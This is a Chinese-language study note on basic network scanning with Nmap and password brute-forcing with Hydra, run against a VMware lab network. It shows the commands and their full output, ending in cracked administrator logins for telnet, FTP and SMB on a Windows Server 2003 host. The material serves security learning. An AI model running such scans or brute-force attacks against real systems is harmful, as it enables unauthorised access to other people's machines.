网络安全学习--nmap与Hydra简单使用

扫描技术

手工与工具结合
主机探测：确定目标主机是否存活

常见端口号

21	FTP	22	SSH
23	Telnet	25	SMTP
80	HTTP	443	HTTPS
1433	SQL Server	1521	Oracle
3306	MYSQL	3389	远程桌面（RDP）

#### Nmap扫描器之王 ##### 重要常用参数

-sP	ping 扫描
-p	指定端口范围
-sV	服务器版本探测
-O	启用操作系统探测
-A	全面扫描
-oN	保存txt

#探测10.1.1.0网段有哪些主机在线
C:\Users\Administrator>nmap -sP 10.1.1.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-05 21:38 ?D1ú±ê×?ê±??
Nmap scan report for 10.1.1.2
Host is up (0.00s latency).
MAC Address: 00:0C:29:F6:15:1A (VMware)
Nmap scan report for 10.1.1.5
Host is up (0.00039s latency).
MAC Address: 00:0C:29:5B:89:83 (VMware)
Nmap scan report for 10.1.1.100
Host is up.
Nmap done: 256 IP addresses (3 hosts up) scanned in 7.89 seconds
#启用操作系统探测，查看系统开启的端口
C:\Users\Administrator>nmap -O 10.1.1.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-05 21:40 ?D1ú±ê×?ê±??
Nmap scan report for 10.1.1.2
Host is up (0.00045s latency).
Not shown: 992 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
23/tcp   open  telnet
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1028/tcp open  unknown
1062/tcp open  veracity
3389/tcp open  ms-wbt-server
MAC Address: 00:0C:29:F6:15:1A (VMware)
Device type: general purpose
Running: Microsoft Windows 2003
OS CPE: cpe:/o:microsoft:windows_server_2003::sp1 cpe:/o:microsoft:windows_server_2003::sp2
OS details: Microsoft Windows Server 2003 SP1 or SP2
Network Distance: 1 hop

Nmap scan report for 10.1.1.5
Host is up (0.00057s latency).
Not shown: 991 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
443/tcp   open  https
445/tcp   open  microsoft-ds
49154/tcp open  unknown
49155/tcp open  unknown
49157/tcp open  unknown
MAC Address: 00:0C:29:5B:89:83 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 7|8|Vista|2008
OS CPE: cpe:/o:microsoft:windows_7::-:professional cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2008::sp1
OS details: Microsoft Windows 7 Professional or Windows 8, Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7, Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008
Network Distance: 1 hop

Nmap scan report for 10.1.1.100
Host is up (0.00043s latency).
Not shown: 994 closed tcp ports (reset)
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
443/tcp  open  https
902/tcp  open  iss-realsecure
912/tcp  open  apex-mesh
1688/tcp open  nsjtp-data
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=12/5%OT=135%CT=1%CU=32317%PV=Y%DS=0%DC=L%G=Y%TM=61ACC1
OS:66%P=i686-pc-windows-windows)SEQ(SP=104%GCD=1%ISR=108%TI=I%CI=I%II=I%SS=
OS:S%TS=U)OPS(O1=MFFD7NW8NNS%O2=MFFD7NW8NNS%O3=MFFD7NW8%O4=MFFD7NW8NNS%O5=M
OS:FFD7NW8NNS%O6=MFFD7NNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF
OS:70)ECN(R=Y%DF=Y%T=40%W=FFFF%O=MFFD7NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A
OS:=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=40%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=
OS:Y%T=40%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=O%F=R%O=%R
OS:D=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=
OS:0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U
OS:1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=Z%RUCK=G%RUD=G)IE(R=Y%DF
OS:I=N%T=40%CD=Z)

Network Distance: 0 hops

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (3 hosts up) scanned in 32.34 seconds
# 查看主机是否打开指定端口
C:\Users\Administrator>nmap -p 21,23 10.1.1.2
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-05 21:45 ?D1ú±ê×?ê±??
Nmap scan report for 10.1.1.2
Host is up (0.00076s latency).

PORT   STATE SERVICE
21/tcp open  ftp
23/tcp open  telnet
MAC Address: 00:0C:29:F6:15:1A (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
#查看服务版本
C:\Users\Administrator>nmap -p 21,23 10.1.1.2 -sV
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-05 21:47 ?D1ú±ê×?ê±??
Nmap scan report for 10.1.1.2
Host is up (0.00089s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
23/tcp open  telnet  Microsoft Windows XP telnetd
MAC Address: 00:0C:29:F6:15:1A (VMware)
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.56 seconds
#全面扫描
C:\Users\Administrator>nmap -A 10.1.1.2
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-05 21:48 ?D1ú±ê×?ê±??
Nmap scan report for 10.1.1.2
Host is up (0.00030s latency).
Not shown: 992 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
23/tcp   open  telnet        Microsoft Windows XP telnetd
| telnet-ntlm-info:
|   Target_Name: WIN2003-XDD1
|   NetBIOS_Domain_Name: WIN2003-XDD1
|   NetBIOS_Computer_Name: WIN2003-XDD1
|   DNS_Domain_Name: win2003-xdd1
|   DNS_Computer_Name: win2003-xdd1
|_  Product_Version: 5.2.3790
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds  Windows Server 2003 3790 Service Pack 2 microsoft-ds
1028/tcp open  msrpc         Microsoft Windows RPC
1062/tcp open  msrpc         Microsoft Windows RPC
3389/tcp open  ms-wbt-server Microsoft Terminal Service
MAC Address: 00:0C:29:F6:15:1A (VMware)
Device type: general purpose
Running: Microsoft Windows 2003
OS CPE: cpe:/o:microsoft:windows_server_2003::sp1 cpe:/o:microsoft:windows_server_2003::sp2
OS details: Microsoft Windows Server 2003 SP1 or SP2
Network Distance: 1 hop
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp, cpe:/o:microsoft:windows_server_2003

Host script results:
|_nbstat: NetBIOS name: WIN2003-XDD1, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:f6:15:1a (VMware)
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows Server 2003 3790 Service Pack 2 (Windows Server 2003 5.2)
|   OS CPE: cpe:/o:microsoft:windows_server_2003::sp2
|   Computer name: win2003-xdd1
|   NetBIOS computer name: WIN2003-XDD1\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-12-05T21:49:02+08:00
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: -4h00m00s, deviation: 5h39m23s, median: -8h00m00s

TRACEROUTE
HOP RTT     ADDRESS
1   0.29 ms 10.1.1.2

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 91.85 seconds
#将扫描信息保存至D盘a文件
C:\Users\Administrator>nmap -O 10.1.1.2 -oN d:\a
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-05 21:52 ?D1ú±ê×?ê±??
Nmap scan report for 10.1.1.2
Host is up (0.0011s latency).
Not shown: 992 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
23/tcp   open  telnet
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1028/tcp open  unknown
1062/tcp open  veracity
3389/tcp open  ms-wbt-server
MAC Address: 00:0C:29:F6:15:1A (VMware)
Device type: general purpose
Running: Microsoft Windows 2003
OS CPE: cpe:/o:microsoft:windows_server_2003::sp1 cpe:/o:microsoft:windows_server_2003::sp2
OS details: Microsoft Windows Server 2003 SP1 or SP2
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.64 seconds

Hydra

# -l username 指定用户 -L File 指定用户文件 -p 指定密码 -P FILE指定密码文件
E:\SoftWare\thc-hydra-windows-master>hydra.exe -l administrator -P D:\pass.txt 10.1.1.2 telnet
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2021-12-05 22:10:18
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available
[DATA] max 6 tasks per 1 server, overall 64 tasks, 6 login tries (l:1/p:6), ~0 tries per task
[DATA] attacking service telnet on port 23
[23][telnet] host: 10.1.1.2   login: administrator   password: 123456
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2021-12-05 22:10:21

E:\SoftWare\thc-hydra-windows-master>hydra.exe -l administrator -P D:\pass.txt 10.1.1.2 ftp
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2021-12-05 22:11:26
[DATA] max 6 tasks per 1 server, overall 64 tasks, 6 login tries (l:1/p:6), ~0 tries per task
[DATA] attacking service ftp on port 21
[21][ftp] host: 10.1.1.2   login: administrator   password: 123456
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2021-12-05 22:11:26
# 445 共享服务
E:\SoftWare\thc-hydra-windows-master>hydra.exe -l administrator -P D:\pass.txt 10.1.1.2 smb
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2021-12-05 22:15:35
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 64 tasks, 6 login tries (l:1/p:6), ~0 tries per task
[DATA] attacking service smb on port 445
[445][smb] host: 10.1.1.2   login: administrator   password: 123456
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2021-12-05 22:15:36